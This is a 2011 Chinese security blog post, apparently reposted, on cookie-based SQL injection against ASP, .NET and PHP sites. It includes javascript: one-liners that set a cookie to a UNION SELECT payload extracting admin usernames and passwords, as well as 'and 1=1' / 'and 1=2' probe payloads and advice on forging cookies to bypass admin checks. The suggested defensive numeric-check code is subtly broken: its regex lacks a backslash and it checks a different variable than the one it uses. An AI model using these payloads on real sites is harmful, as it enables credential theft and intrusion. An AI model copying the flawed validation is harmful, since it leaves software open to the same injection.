http://hi.baidu.com/micropoor
//2011-11-23 星期三 javascript:alert(document.cookie="id="+escape("107 and 1=2 union select 1,username,password,4,5,6,7,8,9,10,11 from admin")) //新闻也发言----Asp程序员要说话 Request.QueryString (GET) 或 Request.Form (POST)是用于读取用户发给WEB服务器的指定键中的值,但是往往,我们就写成了:ID=Request("ID") 于是今天的PHP安全新闻早8点也就产生了。 WEB服务先取GET中的数据,如果没有再取POST中的数据,还有Cookies中的数据.了解了这些,我们回头再看方注入系统。检测GET和POST中的数据(部分带有关键词,select and 等) 于是就出现了//我们的思想。 //站在Asp程序员考虑 如果程序员使用Request.QueryString或者Request.Form是无法利用Cookies绕过防注入系统进行注入的。服务程序是直截从GET或POST中读取数据的,Cookies是否有数据,服务程序是不处理的。 //新闻也发言----.Net程序员要说话 //程序员思想 //Micropoor.aspx代码片段 Response.Cookies["id"].Value = uid; //COOKIES记录了用户的ID,当需要用到ID时,就通过用户搜索信息 if(Request.Cookies["id"]!=null) { id=Request.Cookies["id"].value; string str="select * from userTable where id="+id; //略 } //我们的思想 Cookies["id"]的值改成Sql;实现COOKIES注入。 //站在.Net程序员考虑 加强对ID的过滤,这里对懒程序员说针对数字参数搞了一个类来判断是否为数字 if(Request.Cookies["id"]!=null) { uid=Request.Cookies["id"].value; isnumeric cooidesID = new isnumeric();//这是一个类 if (cooidesID.reIsnumeric(ruid))//如果是数字就运行下面的 { string str="select * from userTable where id="+id; //略 } } //参考类: public class isnumeric { public isnumeric() { // // TODO: 在此处添加构造函数逻辑 // } public bool reIsnumeric(string num) { Regex IsN = new Regex(@"^d+$");//这里使用正则表达式 bool reNum; if (IsN.IsMatch(num)) { reNum=true; } else { reNum=false; } return reNum; } } //前台调用: isnumeric InNum = new isnumeric(); if (InNum.reIsnumeric(id.ToString())) { //你的代码 } else { Response.Redirect("Micropoorr.aspx"); Response.End(); } //新闻也发言----Php程序员要说话 //程序员思想 //Micropoor.php代码片段 //略 if (!isset($_COOKIE['userid']) || empty($_COOKIE['userid'])){ setcookie(lastURL,get_url());//上次访问地址 header("Location: login.php"); } ?> //我们的思想 通过cookie伪造userid=任意值。 //程序员思想 //Micropoor.php代码片段 $cookie = $_COOKIE[admin]; if (($cookie == "" OR $_GET[stop] == 1 OR !is_admin($cookie)) && $_GET[op] != "login"&& $_GET[op] != "logout") { include("../templates/wr_header.php"); echo "Enter admin username and password to log in"; //略 ?> //新闻也学习 //判断cookies注入的js语句 javascript:alert(document.cookie="参数= "+escape("参数值 and 1=1"));self.open("http://+"document.location.host+document.location.pathname);void(0); javascript:alert(document.cookie="参数="+escape("参数值 and 1=2"));self.open("http://+"document.location.host+document.location.pathname);void(0); |
结论:安全就像大学一样,上与被上在于你。
文章来源于lcx.cc:Php安全新闻早8点(2011-11-23 星期三)
本文旨在技术交流共享,如有不同见解请使劲吐槽!(本人眼界跟技术都有限*^_^*) 木马在N年前就有了,我所知道的连接方式有两种: A:正向连接 B:反向连接 这些木马大多是基于Winsock的连接,客户端跟服务端会开放指定端口来进行数据的传输。而现如今杀软件都…
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论